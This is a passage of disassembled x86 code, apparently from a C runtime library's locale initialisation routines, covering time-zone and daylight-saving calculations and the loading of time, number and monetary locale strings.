[ecx+1Ch] cmp edx, ds:dword_454524 jle short loc_4336E7 loc_4336E0: ; CODE XREF: sub_433470+260j mov eax, 1 jmp short loc_433766 ; --------------------------------------------------------------------------- loc_4336E7: ; CODE XREF: sub_433470+26Ej mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] cmp ecx, ds:dword_454534 jle short loc_433707 mov edx, [ebp+arg_0] mov eax, [edx+1Ch] cmp eax, ds:dword_454524 jge short loc_433707 xor eax, eax jmp short loc_433766 ; --------------------------------------------------------------------------- loc_433707: ; CODE XREF: sub_433470:loc_4336C2j ; sub_433470+283j ... mov ecx, [ebp+arg_0] mov edx, [ecx+4] imul edx, 3Ch mov eax, [ebp+arg_0] mov ecx, [eax] add ecx, edx mov edx, [ebp+arg_0] mov eax, [edx+8] imul eax, 0E10h add ecx, eax imul ecx, 3E8h mov [ebp+var_4], ecx mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] cmp edx, ds:dword_454524 jnz short loc_433752 mov eax, [ebp+var_4] cmp eax, ds:dword_454528 jl short loc_43374E mov eax, 1 jmp short loc_433766 ; --------------------------------------------------------------------------- loc_43374E: ; CODE XREF: sub_433470+2D5j xor eax, eax jmp short loc_433766 ; --------------------------------------------------------------------------- loc_433752: ; CODE XREF: sub_433470+2CAj mov ecx, [ebp+var_4] cmp ecx, ds:dword_454538 jge short loc_433764 mov eax, 1 jmp short loc_433766 ; --------------------------------------------------------------------------- loc_433764: ; CODE XREF: sub_433470+2EBj xor eax, eax loc_433766: ; CODE XREF: sub_433470+Fj ; sub_433470+227j ... mov esp, ebp pop ebp retn sub_433470 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433770 proc near ; CODE XREF: sub_433470+9Fp ; sub_433470+F2p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp sub esp, 14h cmp [ebp+arg_4], 1 jnz loc_43384C mov eax, [ebp+arg_8] and eax, 3 test eax, eax jnz short loc_433799 mov ecx, [ebp+arg_C] mov edx, ds:dword_454538[ecx*4] mov [ebp+var_C], edx jmp short loc_4337A6 ; --------------------------------------------------------------------------- loc_433799: ; CODE XREF: sub_433770+18j mov eax, [ebp+arg_C] mov ecx, ds:dword_45456C[eax*4] mov [ebp+var_C], ecx loc_4337A6: ; CODE XREF: sub_433770+27j mov edx, [ebp+var_C] add edx, 1 mov [ebp+var_8], edx mov eax, [ebp+arg_8] sub eax, 46h imul eax, 16Dh mov ecx, [ebp+var_8] add ecx, eax mov edx, [ebp+arg_8] sub edx, 1 sar edx, 2 lea eax, [ecx+edx-0Dh] cdq mov ecx, 7 idiv ecx mov [ebp+var_4], edx mov edx, [ebp+var_4] cmp edx, [ebp+arg_14] jg short loc_4337F9 mov eax, [ebp+arg_14] sub eax, [ebp+var_4] mov ecx, [ebp+arg_10] sub ecx, 1 imul ecx, 7 add ecx, [ebp+var_8] add ecx, eax mov [ebp+var_8], ecx jmp short loc_43380D ; --------------------------------------------------------------------------- loc_4337F9: ; CODE XREF: sub_433770+6Ej mov edx, [ebp+arg_14] sub edx, [ebp+var_4] mov eax, [ebp+arg_10] imul eax, 7 add eax, [ebp+var_8] add eax, edx mov [ebp+var_8], eax loc_43380D: ; CODE XREF: sub_433770+87j cmp [ebp+arg_10], 5 jnz short loc_43384A mov ecx, [ebp+arg_8] and ecx, 3 test ecx, ecx jnz short loc_43382C mov edx, [ebp+arg_C] mov eax, ds:dword_45453C[edx*4] mov [ebp+var_10], eax jmp short loc_433839 ; --------------------------------------------------------------------------- loc_43382C: ; CODE XREF: sub_433770+ABj mov ecx, [ebp+arg_C] mov edx, ds:dword_454570[ecx*4] mov [ebp+var_10], edx loc_433839: ; CODE XREF: sub_433770+BAj mov eax, [ebp+var_8] cmp eax, [ebp+var_10] jle short loc_43384A mov ecx, [ebp+var_8] sub ecx, 7 mov [ebp+var_8], ecx loc_43384A: ; CODE XREF: sub_433770+A1j ; sub_433770+CFj jmp short loc_433881 ; --------------------------------------------------------------------------- loc_43384C: ; CODE XREF: sub_433770+Aj mov edx, [ebp+arg_8] and edx, 3 test edx, edx jnz short loc_433865 mov eax, [ebp+arg_C] mov ecx, ds:dword_454538[eax*4] mov [ebp+var_14], ecx jmp short loc_433872 ; --------------------------------------------------------------------------- loc_433865: ; CODE XREF: sub_433770+E4j mov edx, [ebp+arg_C] mov eax, ds:dword_45456C[edx*4] mov [ebp+var_14], eax loc_433872: ; CODE XREF: sub_433770+F3j mov ecx, [ebp+var_14] mov [ebp+var_8], ecx mov edx, [ebp+var_8] add edx, [ebp+arg_18] mov [ebp+var_8], edx loc_433881: ; CODE XREF: sub_433770:loc_43384Aj cmp [ebp+arg_0], 1 jnz short loc_4338C1 mov eax, [ebp+var_8] mov ds:dword_454524, eax mov ecx, [ebp+arg_1C] imul ecx, 3Ch mov edx, [ebp+arg_20] add edx, ecx imul edx, 3Ch mov eax, [ebp+arg_24] add eax, edx imul eax, 3E8h mov ecx, [ebp+arg_28] add ecx, eax mov ds:dword_454528, ecx mov edx, [ebp+arg_8] mov ds:dword_454520, edx jmp loc_433964 ; --------------------------------------------------------------------------- loc_4338C1: ; CODE XREF: sub_433770+115j mov eax, [ebp+var_8] mov ds:dword_454534, eax mov ecx, [ebp+arg_1C] imul ecx, 3Ch mov edx, [ebp+arg_20] add edx, ecx imul edx, 3Ch mov eax, [ebp+arg_24] add eax, edx imul eax, 3E8h mov ecx, [ebp+arg_28] add ecx, eax mov ds:dword_454538, ecx mov edx, ds:dword_454490 imul edx, 3E8h mov eax, ds:dword_454538 add eax, edx mov ds:dword_454538, eax cmp ds:dword_454538, 0 jge short loc_433931 mov ecx, ds:dword_454538 add ecx, 5265C00h mov ds:dword_454538, ecx mov edx, ds:dword_454534 sub edx, 1 mov ds:dword_454534, edx jmp short loc_43395B ; --------------------------------------------------------------------------- loc_433931: ; CODE XREF: sub_433770+19Cj cmp ds:dword_454538, 5265C00h jl short loc_43395B mov eax, ds:dword_454538 sub eax, 5265C00h mov ds:dword_454538, eax mov ecx, ds:dword_454534 add ecx, 1 mov ds:dword_454534, ecx loc_43395B: ; CODE XREF: sub_433770+1BFj ; sub_433770+1CBj mov edx, [ebp+arg_8] mov ds:dword_454530, edx loc_433964: ; CODE XREF: sub_433770+14Cj mov esp, ebp pop ebp retn sub_433770 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433970 proc near ; DATA XREF: _2:00454304o var_4 = dword ptr -4 push ebp mov ebp, esp push ecx cmp ds:dword_4F3404, 0 jz loc_433A11 push 48h push offset aInittime_c ; "inittime.c" push 2 push 0ACh push 1 call sub_41C2D0 add esp, 14h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4339AC mov eax, 1 jmp loc_433A47 ; --------------------------------------------------------------------------- loc_4339AC: ; CODE XREF: sub_433970+30j mov eax, [ebp+var_4] push eax call sub_433A50 add esp, 4 test eax, eax jz short loc_4339DD mov ecx, [ebp+var_4] push ecx call sub_433FE0 add esp, 4 push 2 mov edx, [ebp+var_4] push edx call sub_41CA10 add esp, 8 mov eax, 1 jmp short loc_433A47 ; --------------------------------------------------------------------------- loc_4339DD: ; CODE XREF: sub_433970+4Aj mov eax, [ebp+var_4] mov ds:off_454D28, eax mov ecx, ds:dword_4F3614 push ecx call sub_433FE0 add esp, 4 push 2 mov edx, ds:dword_4F3614 push edx call sub_41CA10 add esp, 8 mov eax, [ebp+var_4] mov ds:dword_4F3614, eax xor eax, eax jmp short loc_433A47 ; --------------------------------------------------------------------------- loc_433A11: ; CODE XREF: sub_433970+Bj mov ds:off_454D28, offset off_454D30 mov ecx, ds:dword_4F3614 push ecx call sub_433FE0 add esp, 4 push 2 mov edx, ds:dword_4F3614 push edx call sub_41CA10 add esp, 8 mov ds:dword_4F3614, 0 xor eax, eax loc_433A47: ; CODE XREF: sub_433970+37j ; sub_433970+6Bj ... mov esp, ebp pop ebp retn sub_433970 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433A50 proc near ; CODE XREF: sub_433970+40p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_C], 0 xor eax, eax mov ax, ds:word_4F364E mov [ebp+var_4], eax xor ecx, ecx mov cx, ds:word_4F3650 mov [ebp+var_8], ecx cmp [ebp+arg_0], 0 jnz short loc_433A82 or eax, 0FFFFFFFFh jmp loc_433FDB ; --------------------------------------------------------------------------- loc_433A82: ; CODE XREF: sub_433A50+28j mov edx, [ebp+arg_0] add edx, 4 push edx push 31h mov eax, [ebp+var_4] push eax push 1 call sub_438A00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 8 push edx push 32h mov eax, [ebp+var_4] push eax push 1 call sub_438A00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 0Ch push edx push 33h mov eax, [ebp+var_4] push eax push 1 call sub_438A00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 10h push edx push 34h mov eax, [ebp+var_4] push eax push 1 call sub_438A00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 14h push edx push 35h mov eax, [ebp+var_4] push eax push 1 call sub_438A00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 18h push edx push 36h mov eax, [ebp+var_4] push eax push 1 call sub_438A00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] push edx push 37h mov eax, [ebp+var_4] push eax push 1 call sub_438A00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 20h push edx push 2Ah mov eax, [ebp+var_4] push eax push 1 call sub_438A00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 24h push edx push 2Bh mov eax, [ebp+var_4] push eax push 1 call sub_438A00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 28h push edx push 2Ch mov eax, [ebp+var_4] push eax push 1 call sub_438A00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 2Ch push edx push 2Dh mov eax, [ebp+var_4] push eax push 1 call sub_438A00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 30h push edx push 2Eh mov eax, [ebp+var_4] push eax push 1 call sub_438A00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 34h push edx push 2Fh mov eax, [ebp+var_4] push eax push 1 call sub_438A00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 1Ch push edx push 30h mov eax, [ebp+var_4] push eax push 1 call sub_438A00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 38h push edx push 44h mov eax, [ebp+var_4] push eax push 1 call sub_438A00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 3Ch push edx push 45h mov eax, [ebp+var_4] push eax push 1 call sub_438A00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 40h push edx push 46h mov eax, [ebp+var_4] push eax push 1 call sub_438A00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 44h push edx push 47h mov eax, [ebp+var_4] push eax push 1 call sub_438A00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 48h push edx push 48h mov eax, [ebp+var_4] push eax push 1 call sub_438A00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 4Ch push edx push 49h mov eax, [ebp+var_4] push eax push 1 call sub_438A00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 50h push edx push 4Ah mov eax, [ebp+var_4] push eax push 1 call sub_438A00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 54h push edx push 4Bh mov eax, [ebp+var_4] push eax push 1 call sub_438A00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 58h push edx push 4Ch mov eax, [ebp+var_4] push eax push 1 call sub_438A00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 5Ch push edx push 4Dh mov eax, [ebp+var_4] push eax push 1 call sub_438A00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 60h push edx push 4Eh mov eax, [ebp+var_4] push eax push 1 call sub_438A00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 64h push edx push 4Fh mov eax, [ebp+var_4] push eax push 1 call sub_438A00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 68h push edx push 38h mov eax, [ebp+var_4] push eax push 1 call sub_438A00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 6Ch push edx push 39h mov eax, [ebp+var_4] push eax push 1 call sub_438A00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 70h push edx push 3Ah mov eax, [ebp+var_4] push eax push 1 call sub_438A00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 74h push edx push 3Bh mov eax, [ebp+var_4] push eax push 1 call sub_438A00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 78h push edx push 3Ch mov eax, [ebp+var_4] push eax push 1 call sub_438A00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 7Ch push edx push 3Dh mov eax, [ebp+var_4] push eax push 1 call sub_438A00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 80h push edx push 3Eh mov eax, [ebp+var_4] push eax push 1 call sub_438A00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 84h push edx push 3Fh mov eax, [ebp+var_4] push eax push 1 call sub_438A00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 88h push edx push 40h mov eax, [ebp+var_4] push eax push 1 call sub_438A00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 8Ch push edx push 41h mov eax, [ebp+var_4] push eax push 1 call sub_438A00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 90h push edx push 42h mov eax, [ebp+var_4] push eax push 1 call sub_438A00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 94h push edx push 43h mov eax, [ebp+var_4] push eax push 1 call sub_438A00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 98h push edx push 28h mov eax, [ebp+var_4] push eax push 1 call sub_438A00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 9Ch push edx push 29h mov eax, [ebp+var_4] push eax push 1 call sub_438A00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 0A0h push edx push 1Fh mov eax, [ebp+var_8] push eax push 1 call sub_438A00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 0A4h push edx push 20h mov eax, [ebp+var_8] push eax push 1 call sub_438A00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 0A8h push edx push 1003h mov eax, [ebp+var_8] push eax push 1 call sub_438A00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov eax, [ebp+var_C] loc_433FDB: ; CODE XREF: sub_433A50+2Dj mov esp, ebp pop ebp retn sub_433A50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433FE0 proc near ; CODE XREF: sub_433970+50p ; sub_433970+7Cp ... arg_0 = dword ptr 8 push ebp mov ebp, esp cmp [ebp+arg_0], 0 jnz short loc_433FEE jmp loc_4342E9 ; --------------------------------------------------------------------------- loc_433FEE: ; CODE XREF: sub_433FE0+7j push 2 mov eax, [ebp+arg_0] mov ecx, [eax+4] push ecx call sub_41CA10 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+8] push eax call sub_41CA10 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] push edx call sub_41CA10 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+10h] push ecx call sub_41CA10 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+14h] push eax call sub_41CA10 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+18h] push edx call sub_41CA10 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax] push ecx call sub_41CA10 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+20h] push eax call sub_41CA10 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+24h] push edx call sub_41CA10 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+28h] push ecx call sub_41CA10 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+2Ch] push eax call sub_41CA10 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+30h] push edx call sub_41CA10 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+34h] push ecx call sub_41CA10 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+1Ch] push eax call sub_41CA10 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+38h] push edx call sub_41CA10 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+3Ch] push ecx call sub_41CA10 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+40h] push eax call sub_41CA10 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+44h] push edx call sub_41CA10 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+48h] push ecx call sub_41CA10 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+4Ch] push eax call sub_41CA10 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+50h] push edx call sub_41CA10 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+54h] push ecx call sub_41CA10 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+58h] push eax call sub_41CA10 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+5Ch] push edx call sub_41CA10 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+60h] push ecx call sub_41CA10 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+64h] push eax call sub_41CA10 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+68h] push edx call sub_41CA10 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+6Ch] push ecx call sub_41CA10 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+70h] push eax call sub_41CA10 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+74h] push edx call sub_41CA10 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+78h] push ecx call sub_41CA10 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+7Ch] push eax call sub_41CA10 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+80h] push edx call sub_41CA10 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+84h] push ecx call sub_41CA10 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+88h] push eax call sub_41CA10 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+8Ch] push edx call sub_41CA10 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+90h] push ecx call sub_41CA10 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+94h] push eax call sub_41CA10 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+98h] push edx call sub_41CA10 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+9Ch] push ecx call sub_41CA10 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+0A0h] push eax call sub_41CA10 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+0A4h] push edx call sub_41CA10 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+0A8h] push ecx call sub_41CA10 add esp, 8 loc_4342E9: ; CODE XREF: sub_433FE0+9j pop ebp retn sub_433FE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4342F0 proc near ; DATA XREF: _2:004542F8o var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], 0 xor eax, eax mov ax, ds:word_4F364A mov [ebp+var_4], eax cmp ds:dword_4F3400, 0 jz loc_43446A push offset dword_4F3618 push 0Eh mov ecx, [ebp+var_4] push ecx push 1 call sub_438A00 add esp, 10h mov edx, [ebp+var_8] or edx, eax mov [ebp+var_8], edx push offset dword_4F361C push 0Fh mov eax, [ebp+var_4] push eax push 1 call sub_438A00 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx push offset dword_4F3620 push 10h mov edx, [ebp+var_4] push edx push 1 call sub_438A00 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, ds:dword_4F3620 push edx call sub_4345A0 add esp, 4 cmp [ebp+var_8], 0 jz short loc_4343D9 push 2 mov eax, ds:dword_4F3618 push eax call sub_41CA10 add esp, 8 push 2 mov ecx, ds:dword_4F361C push ecx call sub_41CA10 add esp, 8 push 2 mov edx, ds:dword_4F3620 push edx call sub_41CA10 add esp, 8 mov ds:dword_4F3618, 0 mov ds:dword_4F361C, 0 mov ds:dword_4F3620, 0 or eax, 0FFFFFFFFh jmp loc_434592 ; --------------------------------------------------------------------------- loc_4343D9: ; CODE XREF: sub_4342F0+8Fj mov eax, ds:off_454E18 cmp dword ptr [eax], offset dword_454DE0 jz short loc_434420 push 2 mov ecx, ds:off_454E18 mov edx, [ecx] push edx call sub_41CA10 add esp, 8 push 2 mov eax, ds:off_454E18 mov ecx, [eax+4] push ecx call sub_41CA10 add esp, 8 push 2 mov edx, ds:off_454E18 mov eax, [edx+8] push eax call sub_41CA10 add esp, 8 loc_434420: ; CODE XREF: sub_4342F0+F4j mov ecx, ds:off_454E18 mov edx, ds:dword_4F3618 mov [ecx], edx mov eax, ds:off_454E18 mov ecx, ds:dword_4F361C mov [eax+4], ecx mov edx, ds:off_454E18 mov eax, ds:dword_4F3620 mov [edx+8], eax mov ecx, ds:off_454E18 mov edx, [ecx] mov al, [edx] mov ds:byte_453DF4, al mov ds:dword_453DF8, 1 xor eax, eax jmp loc_434592 ; --------------------------------------------------------------------------- loc_43446A: ; CODE XREF: sub_4342F0+1Fj push 2 mov ecx, ds:dword_4F3618 push ecx call sub_41CA10 add esp, 8 push 2 mov edx, ds:dword_4F361C push edx call sub_41CA10 add esp, 8 push 2 mov eax, ds:dword_4F3620 push eax call sub_41CA10 add esp, 8 mov ds:dword_4F3618, 0 mov ds:dword_4F361C, 0 mov ds:dword_4F3620, 0 push 88h push offset aInitnum_c ; "initnum.c" push 2 push 2 call sub_41BE70 add esp, 10h mov ecx, ds:off_454E18 mov [ecx], eax mov edx, ds:off_454E18 cmp dword ptr [edx], 0 jnz short loc_4344EB or eax, 0FFFFFFFFh jmp loc_434592 ; --------------------------------------------------------------------------- loc_4344EB: ; CODE XREF: sub_4342F0+1F1j push offset a__4 ; "." mov eax, ds:off_454E18 mov ecx, [eax] push ecx call sub_41F620 add esp, 8 push 8Dh push offset aInitnum_c ; "initnum.c" push 2 push 2 call sub_41BE70 add esp, 10h mov edx, ds:off_454E18 mov [edx+4], eax mov eax, ds:off_454E18 cmp dword ptr [eax+4], 0 jnz short loc_43452F or eax, 0FFFFFFFFh jmp short loc_434592 ; --------------------------------------------------------------------------- loc_43452F: ; CODE XREF: sub_4342F0+238j mov ecx, ds:off_454E18 mov edx, [ecx+4] mov byte ptr [edx], 0 push 92h push offset aInitnum_c ; "initnum.c" push 2 push 2 call sub_41BE70 add esp, 10h mov ecx, ds:off_454E18 mov [ecx+8], eax mov edx, ds:off_454E18 cmp dword ptr [edx+8], 0 jnz short loc_43456B or eax, 0FFFFFFFFh jmp short loc_434592 ; --------------------------------------------------------------------------- loc_43456B: ; CODE XREF: sub_4342F0+274j mov eax, ds:off_454E18 mov ecx, [eax+8] mov byte ptr [ecx], 0 mov edx, ds:off_454E18 mov eax, [edx] mov cl, [eax] mov ds:byte_453DF4, cl mov ds:dword_453DF8, 1 xor eax, eax loc_434592: ; CODE XREF: sub_4342F0+E4j ; sub_4342F0+175j ... mov esp, ebp pop ebp retn sub_4342F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4345A0 proc near ; CODE XREF: sub_4342F0+83p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx loc_4345A4: ; CODE XREF: sub_4345A0:loc_434617j mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_434619 mov edx, [ebp+arg_0] movsx eax, byte ptr [edx] cmp eax, 30h jl short loc_4345DD mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] cmp edx, 39h jg short loc_4345DD mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] sub ecx, 30h mov edx, [ebp+arg_0] mov [edx], cl mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax jmp short loc_434617 ; --------------------------------------------------------------------------- loc_4345DD: ; CODE XREF: sub_4345A0+17j ; sub_4345A0+22j mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] cmp edx, 3Bh jnz short loc_43460E mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_4345EE: ; CODE XREF: sub_4345A0+6Aj mov ecx, [ebp+var_4] mov edx, [ebp+var_4] mov al, [edx+1] mov [ecx], al mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_4] movsx eax, byte ptr [edx] test eax, eax jnz short loc_4345EE jmp short loc_434617 ; --------------------------------------------------------------------------- loc_43460E: ; CODE XREF: sub_4345A0+46j mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx loc_434617: ; CODE XREF: sub_4345A0+3Bj ; sub_4345A0+6Cj jmp short loc_4345A4 ; --------------------------------------------------------------------------- loc_434619: ; CODE XREF: sub_4345A0+Cj mov esp, ebp pop ebp retn sub_4345A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_434620 proc near ; DATA XREF: _2:004542ECo var_4 = dword ptr -4 push ebp mov ebp, esp push ecx cmp ds:dword_4F33FC, 0 jz loc_4346EC push 4Ah push offset aInitmon_c ; "initmon.c" push 2 push 30h push 1 call sub_41C2D0 add esp, 14h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_434659 mov eax, 1 jmp loc_43474C ; --------------------------------------------------------------------------- loc_434659: ; CODE XREF: sub_434620+2Dj mov eax, [ebp+var_4] push eax call sub_434750 add esp, 4 test eax, eax jz short loc_43468D mov ecx, [ebp+var_4] push ecx call 